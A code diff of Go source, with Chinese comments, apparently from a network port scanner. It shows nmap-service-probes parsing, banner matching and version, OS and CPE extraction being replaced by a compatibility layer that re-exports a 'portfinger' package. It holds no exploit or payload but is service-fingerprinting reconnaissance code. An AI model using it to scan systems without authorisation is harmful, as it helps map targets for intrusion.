common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
|
||||||
null = &nullProbe
|
|
||||||
} else {
|
|
||||||
common.LogDebug("警告: 未找到NULL探测器")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取并检查 GenericLines 探测器
|
|
||||||
if genericProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
|
||||||
common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(genericProbe.Data)))
|
|
||||||
commonProbe = &genericProbe
|
|
||||||
} else {
|
|
||||||
common.LogDebug("警告: 未找到GenericLines探测器")
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug("全局变量初始化完成")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析指令语法,返回指令结构
|
|
||||||
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
|
||||||
common.LogDebug("开始解析指令语法,输入数据: " + data)
|
|
||||||
|
|
||||||
directive = Directive{}
|
|
||||||
// 查找第一个空格的位置
|
|
||||||
blankIndex := strings.Index(data, " ")
|
|
||||||
if blankIndex == -1 {
|
|
||||||
common.LogDebug("未找到空格分隔符")
|
|
||||||
return directive
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析各个字段
|
|
||||||
directiveName := data[:blankIndex]
|
|
||||||
Flag := data[blankIndex+1 : blankIndex+2]
|
|
||||||
delimiter := data[blankIndex+2 : blankIndex+3]
|
|
||||||
directiveStr := data[blankIndex+3:]
|
|
||||||
|
|
||||||
directive.DirectiveName = directiveName
|
|
||||||
directive.Flag = Flag
|
|
||||||
directive.Delimiter = delimiter
|
|
||||||
directive.DirectiveStr = directiveStr
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
|
||||||
directiveName, Flag, delimiter, directiveStr))
|
|
||||||
|
|
||||||
return directive
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析探测器信息
|
|
||||||
func (p *Probe) parseProbeInfo(probeStr string) {
|
|
||||||
common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
|
||||||
|
|
||||||
// 提取协议和其他信息
|
|
||||||
proto := probeStr[:4]
|
|
||||||
other := probeStr[4:]
|
|
||||||
|
|
||||||
// 验证协议类型
|
|
||||||
if !(proto == "TCP " || proto == "UDP ") {
|
|
||||||
errMsg := "探测器协议必须是 TCP 或 UDP"
|
|
||||||
common.LogDebug("错误: " + errMsg)
|
|
||||||
panic(errMsg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证其他信息不为空
|
|
||||||
if len(other) == 0 {
|
|
||||||
errMsg := "nmap-service-probes - 探测器名称无效"
|
|
||||||
common.LogDebug("错误: " + errMsg)
|
|
||||||
panic(errMsg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析指令
|
|
||||||
directive := p.getDirectiveSyntax(other)
|
|
||||||
|
|
||||||
// 设置探测器属性
|
|
||||||
p.Name = directive.DirectiveName
|
|
||||||
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
|
||||||
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
|
||||||
p.Name, p.Data, p.Protocol))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从字符串解析探测器信息
|
|
||||||
func (p *Probe) fromString(data string) error {
|
|
||||||
common.LogDebug("开始解析探测器字符串数据")
|
|
||||||
var err error
|
|
||||||
|
|
||||||
// 预处理数据
|
|
||||||
data = strings.TrimSpace(data)
|
|
||||||
lines := strings.Split(data, "\n")
|
|
||||||
if len(lines) == 0 {
|
|
||||||
return fmt.Errorf("输入数据为空")
|
|
||||||
}
|
|
||||||
|
|
||||||
probeStr := lines[0]
|
|
||||||
p.parseProbeInfo(probeStr)
|
|
||||||
|
|
||||||
// 解析匹配规则和其他配置
|
|
||||||
var matchs []Match
|
|
||||||
for _, line := range lines {
|
|
||||||
common.LogDebug("处理行: " + line)
|
|
||||||
switch {
|
|
||||||
case strings.HasPrefix(line, "match "):
|
|
||||||
match, err := p.getMatch(line)
|
|
||||||
if err != nil {
|
|
||||||
common.LogDebug("解析match失败: " + err.Error())
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
matchs = append(matchs, match)
|
|
||||||
|
|
||||||
case strings.HasPrefix(line, "softmatch "):
|
|
||||||
softMatch, err := p.getSoftMatch(line)
|
|
||||||
if err != nil {
|
|
||||||
common.LogDebug("解析softmatch失败: " + err.Error())
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
matchs = append(matchs, softMatch)
|
|
||||||
|
|
||||||
case strings.HasPrefix(line, "ports "):
|
|
||||||
p.parsePorts(line)
|
|
||||||
|
|
||||||
case strings.HasPrefix(line, "sslports "):
|
|
||||||
p.parseSSLPorts(line)
|
|
||||||
|
|
||||||
case strings.HasPrefix(line, "totalwaitms "):
|
|
||||||
p.parseTotalWaitMS(line)
|
|
||||||
|
|
||||||
case strings.HasPrefix(line, "tcpwrappedms "):
|
|
||||||
p.parseTCPWrappedMS(line)
|
|
||||||
|
|
||||||
case strings.HasPrefix(line, "rarity "):
|
|
||||||
p.parseRarity(line)
|
|
||||||
|
|
||||||
case strings.HasPrefix(line, "fallback "):
|
|
||||||
p.parseFallback(line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
p.Matchs = &matchs
|
|
||||||
common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析端口配置
|
|
||||||
func (p *Probe) parsePorts(data string) {
|
|
||||||
p.Ports = data[len("ports")+1:]
|
|
||||||
common.LogDebug("解析端口: " + p.Ports)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析SSL端口配置
|
|
||||||
func (p *Probe) parseSSLPorts(data string) {
|
|
||||||
p.SSLPorts = data[len("sslports")+1:]
|
|
||||||
common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析总等待时间
|
|
||||||
func (p *Probe) parseTotalWaitMS(data string) {
|
|
||||||
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
|
||||||
if err != nil {
|
|
||||||
common.LogDebug("解析总等待时间失败: " + err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
p.TotalWaitMS = waitMS
|
|
||||||
common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析TCP包装等待时间
|
|
||||||
func (p *Probe) parseTCPWrappedMS(data string) {
|
|
||||||
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
|
||||||
if err != nil {
|
|
||||||
common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
p.TCPWrappedMS = wrappedMS
|
|
||||||
common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析稀有度
|
|
||||||
func (p *Probe) parseRarity(data string) {
|
|
||||||
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
|
||||||
if err != nil {
|
|
||||||
common.LogDebug("解析稀有度失败: " + err.Error())
|
|
||||||
return
|
|
||||||
}
|
|
||||||
p.Rarity = rarity
|
|
||||||
common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析回退配置
|
|
||||||
func (p *Probe) parseFallback(data string) {
|
|
||||||
p.Fallback = data[len("fallback")+1:]
|
|
||||||
common.LogDebug("回退配置: " + p.Fallback)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 判断是否为十六进制编码
|
|
||||||
func isHexCode(b []byte) bool {
|
|
||||||
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
|
|
||||||
return matchRe.Match(b)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 判断是否为八进制编码
|
|
||||||
func isOctalCode(b []byte) bool {
|
|
||||||
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
|
|
||||||
return matchRe.Match(b)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 判断是否为结构化转义字符
|
|
||||||
func isStructCode(b []byte) bool {
|
|
||||||
matchRe := regexp.MustCompile(`\\[aftnrv]`)
|
|
||||||
return matchRe.Match(b)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 判断是否为正则表达式特殊字符
|
|
||||||
func isReChar(n int64) bool {
|
|
||||||
reChars := `.*?+{}()^$|\`
|
|
||||||
for _, char := range reChars {
|
|
||||||
if n == int64(char) {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// 判断是否为其他转义序列
|
|
||||||
func isOtherEscapeCode(b []byte) bool {
|
|
||||||
matchRe := regexp.MustCompile(`\\[^\\]`)
|
|
||||||
return matchRe.Match(b)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从内容解析探测器规则
|
|
||||||
func (v *VScan) parseProbesFromContent(content string) {
|
|
||||||
common.LogDebug("开始解析探测器规则文件内容")
|
|
||||||
var probes []Probe
|
|
||||||
var lines []string
|
|
||||||
|
|
||||||
// 过滤注释和空行
|
|
||||||
linesTemp := strings.Split(content, "\n")
|
|
||||||
for _, lineTemp := range linesTemp {
|
|
||||||
lineTemp = strings.TrimSpace(lineTemp)
|
|
||||||
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
lines = append(lines, lineTemp)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证文件内容
|
|
||||||
if len(lines) == 0 {
|
|
||||||
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
|
||||||
common.LogDebug("错误: " + errMsg)
|
|
||||||
panic(errMsg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查Exclude指令
|
|
||||||
excludeCount := 0
|
|
||||||
for _, line := range lines {
|
|
||||||
if strings.HasPrefix(line, "Exclude ") {
|
|
||||||
excludeCount++
|
|
||||||
}
|
|
||||||
if excludeCount > 1 {
|
|
||||||
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
|
||||||
common.LogDebug("错误: " + errMsg)
|
|
||||||
panic(errMsg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 验证第一行格式
|
|
||||||
firstLine := lines[0]
|
|
||||||
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
|
||||||
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
|
||||||
common.LogDebug("错误: " + errMsg)
|
|
||||||
panic(errMsg)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理Exclude指令
|
|
||||||
if excludeCount == 1 {
|
|
||||||
v.Exclude = firstLine[len("Exclude")+1:]
|
|
||||||
lines = lines[1:]
|
|
||||||
common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 合并内容并分割探测器
|
|
||||||
content = "\n" + strings.Join(lines, "\n")
|
|
||||||
probeParts := strings.Split(content, "\nProbe")[1:]
|
|
||||||
|
|
||||||
// 解析每个探测器
|
|
||||||
for _, probePart := range probeParts {
|
|
||||||
probe := Probe{}
|
|
||||||
if err := probe.fromString(probePart); err != nil {
|
|
||||||
common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
probes = append(probes, probe)
|
|
||||||
}
|
|
||||||
|
|
||||||
v.AllProbes = probes
|
|
||||||
common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 将探测器转换为名称映射
|
|
||||||
func (v *VScan) parseProbesToMapKName() {
|
|
||||||
common.LogDebug("开始构建探测器名称映射")
|
|
||||||
v.ProbesMapKName = map[string]Probe{}
|
|
||||||
for _, probe := range v.AllProbes {
|
|
||||||
v.ProbesMapKName[probe.Name] = probe
|
|
||||||
common.LogDebug("添加探测器映射: " + probe.Name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置使用的探测器
|
|
||||||
func (v *VScan) SetusedProbes() {
|
|
||||||
common.LogDebug("开始设置要使用的探测器")
|
|
||||||
|
|
||||||
for _, probe := range v.AllProbes {
|
|
||||||
if strings.ToLower(probe.Protocol) == "tcp" {
|
|
||||||
if probe.Name == "SSLSessionReq" {
|
|
||||||
common.LogDebug("跳过 SSLSessionReq 探测器")
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
v.Probes = append(v.Probes, probe)
|
|
||||||
common.LogDebug("添加TCP探测器: " + probe.Name)
|
|
||||||
|
|
||||||
// 特殊处理TLS会话请求
|
|
||||||
if probe.Name == "TLSSessionReq" {
|
|
||||||
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
|
||||||
v.Probes = append(v.Probes, sslProbe)
|
|
||||||
common.LogDebug("为TLSSessionReq添加SSL探测器")
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
v.UdpProbes = append(v.UdpProbes, probe)
|
|
||||||
common.LogDebug("添加UDP探测器: " + probe.Name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
|
||||||
len(v.Probes), len(v.UdpProbes)))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析match指令获取匹配规则
|
|
||||||
func (p *Probe) getMatch(data string) (match Match, err error) {
|
|
||||||
common.LogDebug("开始解析match指令:" + data)
|
|
||||||
match = Match{}
|
|
||||||
|
|
||||||
// 提取match文本并解析指令语法
|
|
||||||
matchText := data[len("match")+1:]
|
|
||||||
directive := p.getDirectiveSyntax(matchText)
|
|
||||||
|
|
||||||
// 分割文本获取pattern和版本信息
|
|
||||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
|
||||||
if len(textSplited) == 0 {
|
|
||||||
return match, fmt.Errorf("无效的match指令格式")
|
|
||||||
}
|
|
||||||
|
|
||||||
pattern := textSplited[0]
|
|
||||||
versionInfo := strings.Join(textSplited[1:], "")
|
|
||||||
|
|
||||||
// 解码并编译正则表达式
|
|
||||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
|
||||||
if decodeErr != nil {
|
|
||||||
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
|
||||||
return match, decodeErr
|
|
||||||
}
|
|
||||||
|
|
||||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
|
||||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
|
||||||
if compileErr != nil {
|
|
||||||
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
|
||||||
return match, compileErr
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置match对象属性
|
|
||||||
match.Service = directive.DirectiveName
|
|
||||||
match.Pattern = pattern
|
|
||||||
match.PatternCompiled = patternCompiled
|
|
||||||
match.VersionInfo = versionInfo
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
|
||||||
match.Service, match.Pattern))
|
|
||||||
return match, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析softmatch指令获取软匹配规则
|
|
||||||
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
|
||||||
common.LogDebug("开始解析softmatch指令:" + data)
|
|
||||||
softMatch = Match{IsSoft: true}
|
|
||||||
|
|
||||||
// 提取softmatch文本并解析指令语法
|
|
||||||
matchText := data[len("softmatch")+1:]
|
|
||||||
directive := p.getDirectiveSyntax(matchText)
|
|
||||||
|
|
||||||
// 分割文本获取pattern和版本信息
|
|
||||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
|
||||||
if len(textSplited) == 0 {
|
|
||||||
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
|
||||||
}
|
|
||||||
|
|
||||||
pattern := textSplited[0]
|
|
||||||
versionInfo := strings.Join(textSplited[1:], "")
|
|
||||||
|
|
||||||
// 解码并编译正则表达式
|
|
||||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
|
||||||
if decodeErr != nil {
|
|
||||||
common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
|
||||||
return softMatch, decodeErr
|
|
||||||
}
|
|
||||||
|
|
||||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
|
||||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
|
||||||
if compileErr != nil {
|
|
||||||
common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
|
||||||
return softMatch, compileErr
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置softMatch对象属性
|
|
||||||
softMatch.Service = directive.DirectiveName
|
|
||||||
softMatch.Pattern = pattern
|
|
||||||
softMatch.PatternCompiled = patternCompiled
|
|
||||||
softMatch.VersionInfo = versionInfo
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
|
||||||
softMatch.Service, softMatch.Pattern))
|
|
||||||
return softMatch, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解码模式字符串,处理转义序列
|
|
||||||
func DecodePattern(s string) ([]byte, error) {
|
|
||||||
common.LogDebug("开始解码pattern: " + s)
|
|
||||||
sByteOrigin := []byte(s)
|
|
||||||
|
|
||||||
// 处理十六进制、八进制和结构化转义序列
|
|
||||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
|
||||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
|
|
||||||
var replace []byte
|
|
||||||
|
|
||||||
// 处理十六进制转义
|
|
||||||
if isHexCode(match) {
|
|
||||||
hexNum := match[2:]
|
|
||||||
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
|
|
||||||
if isReChar(byteNum) {
|
|
||||||
replace = []byte{'\\', uint8(byteNum)}
|
|
||||||
} else {
|
|
||||||
replace = []byte{uint8(byteNum)}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理结构化转义字符
|
|
||||||
if isStructCode(match) {
|
|
||||||
structCodeMap := map[int][]byte{
|
|
||||||
97: []byte{0x07}, // \a 响铃
|
|
||||||
102: []byte{0x0c}, // \f 换页
|
|
||||||
116: []byte{0x09}, // \t 制表符
|
|
||||||
110: []byte{0x0a}, // \n 换行
|
|
||||||
114: []byte{0x0d}, // \r 回车
|
|
||||||
118: []byte{0x0b}, // \v 垂直制表符
|
|
||||||
}
|
|
||||||
replace = structCodeMap[int(match[1])]
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理八进制转义
|
|
||||||
if isOctalCode(match) {
|
|
||||||
octalNum := match[2:]
|
|
||||||
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
|
|
||||||
replace = []byte{uint8(byteNum)}
|
|
||||||
}
|
|
||||||
return replace
|
|
||||||
})
|
|
||||||
|
|
||||||
// 处理其他转义序列
|
|
||||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
|
||||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
|
|
||||||
if isOtherEscapeCode(match) {
|
|
||||||
return match
|
|
||||||
}
|
|
||||||
return match
|
|
||||||
})
|
|
||||||
|
|
||||||
common.LogDebug("pattern解码完成")
|
|
||||||
return sByteDec2, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ProbesRarity 用于按稀有度排序的探测器切片
|
|
||||||
type ProbesRarity []Probe
|
|
||||||
|
|
||||||
// Len 返回切片长度,实现 sort.Interface 接口
|
|
||||||
func (ps ProbesRarity) Len() int {
|
|
||||||
return len(ps)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
|
|
||||||
func (ps ProbesRarity) Swap(i, j int) {
|
|
||||||
ps[i], ps[j] = ps[j], ps[i]
|
|
||||||
}
|
|
||||||
|
|
||||||
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
|
|
||||||
func (ps ProbesRarity) Less(i, j int) bool {
|
|
||||||
return ps[i].Rarity < ps[j].Rarity
|
|
||||||
}
|
|
||||||
|
|
||||||
// Target 定义目标结构体
|
|
||||||
type Target struct {
|
|
||||||
IP string // 目标IP地址
|
|
||||||
Port int // 目标端口
|
|
||||||
Protocol string // 协议类型
|
|
||||||
}
|
|
||||||
|
|
||||||
// ContainsPort 检查指定端口是否在探测器的端口范围内
|
|
||||||
func (p *Probe) ContainsPort(testPort int) bool {
|
|
||||||
common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
|
||||||
|
|
||||||
// 检查单个端口
|
|
||||||
ports := strings.Split(p.Ports, ",")
|
|
||||||
for _, port := range ports {
|
|
||||||
port = strings.TrimSpace(port)
|
|
||||||
cmpPort, err := strconv.Atoi(port)
|
|
||||||
if err == nil && testPort == cmpPort {
|
|
||||||
common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查端口范围
|
|
||||||
for _, port := range ports {
|
|
||||||
port = strings.TrimSpace(port)
|
|
||||||
if strings.Contains(port, "-") {
|
|
||||||
portRange := strings.Split(port, "-")
|
|
||||||
if len(portRange) != 2 {
|
|
||||||
common.LogDebug("无效的端口范围格式: " + port)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
|
||||||
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
|
||||||
|
|
||||||
if err1 != nil || err2 != nil {
|
|
||||||
common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
if testPort >= start && testPort <= end {
|
|
||||||
common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// MatchPattern 使用正则表达式匹配响应内容
|
|
||||||
func (m *Match) MatchPattern(response []byte) bool {
|
|
||||||
// 将响应转换为字符串并进行匹配
|
|
||||||
responseStr := string([]rune(string(response)))
|
|
||||||
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
|
|
||||||
|
|
||||||
if len(foundItems) > 0 {
|
|
||||||
m.FoundItems = foundItems
|
|
||||||
common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
return false
|
// 初始化兼容性全局变量
|
||||||
|
v = portfinger.GetGlobalVScan()
|
||||||
|
null = portfinger.GetNullProbe()
|
||||||
|
commonProbe = portfinger.GetCommonProbe()
|
||||||
|
|
||||||
|
common.LogDebug("PortFinger兼容层初始化完成")
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
// 重新导出编码函数
|
||||||
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
var DecodeData = portfinger.DecodeData
|
||||||
common.LogDebug("开始解析版本信息")
|
var DecodePattern = portfinger.DecodePattern
|
||||||
var extras = Extras{}
|
|
||||||
|
|
||||||
// 替换版本信息中的占位符
|
// 重新导出探测器字符串
|
||||||
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
|
var ProbeString = portfinger.ProbeString
|
||||||
versionInfo := m.VersionInfo
|
|
||||||
for index, value := range foundItems {
|
|
||||||
dollarName := "$" + strconv.Itoa(index+1)
|
|
||||||
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
|
||||||
}
|
|
||||||
common.LogDebug("替换后的版本信息: " + versionInfo)
|
|
||||||
|
|
||||||
// 定义解析函数
|
|
||||||
parseField := func(field, pattern string) string {
|
|
||||||
patterns := []string{
|
|
||||||
pattern + `/([^/]*)/`, // 斜线分隔
|
|
||||||
pattern + `\|([^|]*)\|`, // 竖线分隔
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, p := range patterns {
|
|
||||||
if strings.Contains(versionInfo, pattern) {
|
|
||||||
regex := regexp.MustCompile(p)
|
|
||||||
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
|
||||||
common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
|
||||||
return matches[1]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析各个字段
|
|
||||||
extras.VendorProduct = parseField("厂商产品", " p")
|
|
||||||
extras.Version = parseField("版本", " v")
|
|
||||||
extras.Info = parseField("信息", " i")
|
|
||||||
extras.Hostname = parseField("主机名", " h")
|
|
||||||
extras.OperatingSystem = parseField("操作系统", " o")
|
|
||||||
extras.DeviceType = parseField("设备类型", " d")
|
|
||||||
|
|
||||||
// 特殊处理CPE
|
|
||||||
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
|
||||||
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
|
||||||
for _, pattern := range cpePatterns {
|
|
||||||
regex := regexp.MustCompile(pattern)
|
|
||||||
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
|
||||||
if len(cpeName) > 1 {
|
|
||||||
extras.CPE = cpeName[1]
|
|
||||||
} else {
|
|
||||||
extras.CPE = cpeName[0]
|
|
||||||
}
|
|
||||||
common.LogDebug("解析到CPE: " + extras.CPE)
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return extras
|
|
||||||
}
|
|
||||||
|
|
||||||
// ToMap 将 Extras 转换为 map[string]string
|
|
||||||
func (e *Extras) ToMap() map[string]string {
|
|
||||||
common.LogDebug("开始转换Extras为Map")
|
|
||||||
result := make(map[string]string)
|
|
||||||
|
|
||||||
// 定义字段映射
|
|
||||||
fields := map[string]string{
|
|
||||||
"vendor_product": e.VendorProduct,
|
|
||||||
"version": e.Version,
|
|
||||||
"info": e.Info,
|
|
||||||
"hostname": e.Hostname,
|
|
||||||
"os": e.OperatingSystem,
|
|
||||||
"device_type": e.DeviceType,
|
|
||||||
"cpe": e.CPE,
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加非空字段到结果map
|
|
||||||
for key, value := range fields {
|
|
||||||
if value != "" {
|
|
||||||
result[key] = value
|
|
||||||
common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
func DecodeData(s string) ([]byte, error) {
|
|
||||||
if len(s) == 0 {
|
|
||||||
common.LogDebug("输入数据为空")
|
|
||||||
return nil, fmt.Errorf("empty input")
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
|
|
||||||
sByteOrigin := []byte(s)
|
|
||||||
|
|
||||||
// 处理十六进制、八进制和结构化转义序列
|
|
||||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
|
||||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
|
|
||||||
// 处理十六进制转义
|
|
||||||
if isHexCode(match) {
|
|
||||||
hexNum := match[2:]
|
|
||||||
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
|
|
||||||
if err != nil {
|
|
||||||
return match
|
|
||||||
}
|
|
||||||
return []byte{uint8(byteNum)}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理结构化转义字符
|
|
||||||
if isStructCode(match) {
|
|
||||||
structCodeMap := map[int][]byte{
|
|
||||||
97: []byte{0x07}, // \a 响铃
|
|
||||||
102: []byte{0x0c}, // \f 换页
|
|
||||||
116: []byte{0x09}, // \t 制表符
|
|
||||||
110: []byte{0x0a}, // \n 换行
|
|
||||||
114: []byte{0x0d}, // \r 回车
|
|
||||||
118: []byte{0x0b}, // \v 垂直制表符
|
|
||||||
}
|
|
||||||
if replace, ok := structCodeMap[int(match[1])]; ok {
|
|
||||||
return replace
|
|
||||||
}
|
|
||||||
return match
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理八进制转义
|
|
||||||
if isOctalCode(match) {
|
|
||||||
octalNum := match[2:]
|
|
||||||
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
|
|
||||||
if err != nil {
|
|
||||||
return match
|
|
||||||
}
|
|
||||||
return []byte{uint8(byteNum)}
|
|
||||||
}
|
|
||||||
|
|
||||||
common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
|
|
||||||
return match
|
|
||||||
})
|
|
||||||
|
|
||||||
// 处理其他转义序列
|
|
||||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
|
||||||
